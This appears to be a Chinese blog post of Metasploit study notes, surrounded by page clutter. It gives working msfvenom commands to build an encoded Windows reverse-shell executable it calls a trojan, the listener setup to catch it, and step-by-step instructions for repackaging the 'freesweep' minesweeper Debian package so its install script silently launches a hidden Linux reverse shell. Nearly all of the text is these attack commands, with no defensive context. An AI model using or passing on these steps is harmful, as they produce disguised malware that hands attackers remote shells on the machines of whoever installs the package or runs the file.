MSF学习笔记(8)

payload 生成

windows 执行payload生成

msfvenom --payload-options -p windows/shell/reverse_tcp ##查看需要配置的options
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 9 -f exe -o 1.exe   ##生成1.exe反弹木马

启用handler侦听

msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 1.1.1.1
set LPORT 4444
exploit

linux文件捆绑+payload

apt-get --donwload-only install freesweep
cp /var/cache/apt/archives/freesweep* /root/Desktop/
cd /root/Desktop/
dpkg -x freesweep_0.90-3+b1_amd64.deb free ##解包
cd free && mkdir DEBIAN && cd DEBIAN
vim control
    Package:freesweep
    Version:0.90-3
    Section:Games and Amusement
    Priority:optional
    Architecture:i386
    Maintainer:Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
    Description:a text-based minesweeper
    Freesweep is an implementation of the popular minesweeper game,whereone tries to find all the mines without igniting any,based on hints given by the computer.Unlike most implementations of this game,Freesweep works in any visual text display-in Linux console,in an xterm,and in most text-based terminals currently in use.

vim postinst
    #!/bin/sh
    sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep&
chmod 755 postinst && cd ..
msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -f elf -o /root/Desktop/free/usr/games/freesweep_scores
dpkg-deb -b /root/Desktop/free
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值